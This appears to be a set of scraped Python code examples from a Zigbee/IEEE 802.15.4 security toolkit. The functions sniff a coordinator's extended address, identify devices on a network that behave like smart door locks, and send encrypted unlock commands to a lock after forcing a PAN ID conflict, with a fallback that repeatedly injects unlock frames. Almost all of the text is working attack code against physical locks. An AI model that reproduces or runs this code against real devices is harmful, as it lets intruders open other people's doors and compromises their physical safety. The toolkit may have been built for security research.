Example #1
0
def wait_for_extended_address(radio, panid, addr):

    print_info("Waiting to observe the extended source for pan_id:0x%04x, src_addr:0x%04x" % (panid, addr))

    timer = Timer(OBSERVATION_TIME)
    while not timer.has_expired():
        frame = radio.receive()
        if panid==get_pan_id(frame) and addr==get_source(frame):
            extended_source = get_extended_source(frame)
            if extended_source is not None:
                print_notify("Extended source observed: 0x%016x" % extended_source)
                return extended_source
    
    print_error("Could not find extended source")
    return None
Example #2
0
def find_locks(radio, panid=None):

    result = []
    trackers = dict()
    last_sequence_number = dict()
    if panid is not None:
        print_notify("Looking at PAN ID 0x%04x for lights" % panid)
    else:
        print_notify("Looking for lights on the current channel")
    print_info("Monitoring the network for an extended period")
    timer = Timer(17)
    traffic_counter = 0
    while not timer.has_expired():
        frame = radio.receive()
        if frame is not None and not is_beacon_request(frame):
            traffic_counter += 1
        if is_data_request(frame) and (panid is None
                                       or get_pan_id(frame) == panid):
            pan = get_pan_id(frame)
            source = get_source(frame)
            if not pan in trackers.keys():
                trackers[pan] = dict()
                last_sequence_number[pan] = dict()
            if not source in trackers[pan].keys():
                trackers[pan][source] = TrackWatch()
                last_sequence_number[pan][source] = -1
            if last_sequence_number[pan][source] != frame[Dot15d4FCS].seqnum:
                trackers[pan][source].click()
                last_sequence_number[pan][source] = frame[Dot15d4FCS].seqnum

        if timer.time_passed() > 5 and traffic_counter == 0:
            print_info("No traffic observed for 5 seconds, giving up")
            break

    for pan in trackers:
        for addr in trackers[pan]:
            watch = trackers[pan][addr]
            if watch.variance() is not None and watch.variance(
            ) < THRESHOLD_VARIANCE and watch.mean() > MIN_FREQUENCY:
                result.append((pan, addr))
                print_notify("Device 0x%04x on PAN 0x%04x resembles a lock" %
                             (addr, pan))
            print_debug(
                "Device 0x%04x on PAN 0x%04x had variance of %f and mean of %f"
                % (addr, pan, watch.variance(), watch.mean()))

    return result
Example #3
0
def unlock_lock(radio,
                panid,
                addr,
                network_key,
                coord_addr=None,
                coord_extended_addr=None,
                frame_counter=None):

    if coord_addr is None:
        coord_addr = find_coord_addr_by_panid(radio, panid)
    if coord_extended_addr is None:
        coord_extended_addr, frame_counter = wait_for_extended_address_also_frame_counter(
            radio, panid, coord_addr)
    if frame_counter is None:
        frame_counter = wait_for_frame_counter(radio, panid, coord_addr)

    if coord_addr is None or coord_extended_addr is None or frame_counter is None:
        print_error(
            "Could not find the required data to send the unlock request")

    frame_counter_iter = SequenceIterator(frame_counter + 1, 0xffffffff)
    sequence_number = random.randint(0, 255)
    nwk_sequence_number = random.randint(0, 255)
    aps_counter = random.randint(0, 255)
    zcl_sequence_number = random.randint(0, 255)

    print_info("Attempting to unlock lock")
    timer = Timer(OBSERVATION_TIME)
    conflict_succeeded = False
    for attempt in range(3):
        # it is going to be more reliable if we sync the conflict with the device's data request to avoid having it see the network change packet
        while not timer.has_expired():
            frame = radio.receive()
            if is_data_request(frame) and get_source(frame) == addr:
                if pan_conflict_by_panid(radio,
                                         panid,
                                         network_key=network_key,
                                         coord_ext_addr=coord_extended_addr):
                    conflict_succeeded = True
                break
        if conflict_succeeded:
            break
        timer.reset()
    if conflict_succeeded:
        print_info("Waiting 4 seconds for the conflict to resolve")
        timer = Timer(4)
        while not timer.has_expired():
            frame = radio.receive_and_ack(panid=panid, addr=coord_addr)

        radio.load_frame(
            encrypted_unlock(panid,
                             coord_addr,
                             addr,
                             coord_extended_addr,
                             network_key,
                             frame_counter=frame_counter_iter.next(),
                             seq_num=sequence_number,
                             nwk_seq_num=nwk_sequence_number,
                             aps_counter=aps_counter,
                             zcl_seq_num=zcl_sequence_number))
        data_request_counter = 0

        timer = Timer(1)
        while not timer.has_expired():
            frame = radio.receive_and_ack(panid=panid, addr=coord_addr)

        print_info("Waiting for the lock to send a couple data requests")
        unlock_sent = False
        timer = Timer(OBSERVATION_TIME)
        while not timer.has_expired():
            frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
            if is_data_request(frame):
                data_request_counter += 1
                if data_request_counter == 2:
                    print_notify("Sending unlock command")
                    radio.fire_and_retry()
                    unlock_sent = True
                    break

        return unlock_sent

    else:
        print_info(
            "We're going to send a bunch of unlock requests and hope one goes through"
        )
        for attempts in range(20):
            radio.load_frame(
                encrypted_unlock(panid,
                                 coord_addr,
                                 addr,
                                 coord_extended_addr,
                                 network_key,
                                 frame_counter=frame_counter_iter.next(),
                                 seq_num=sequence_number,
                                 nwk_seq_num=nwk_sequence_number,
                                 aps_counter=aps_counter,
                                 zcl_seq_num=zcl_sequence_number))

            timer = Timer(OBSERVATION_TIME)
            while not timer.has_expired():
                frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
                if is_data_request(frame):
                    print_notify("Sending unlock command")
                    radio.fire_and_retry()
                    break
        return True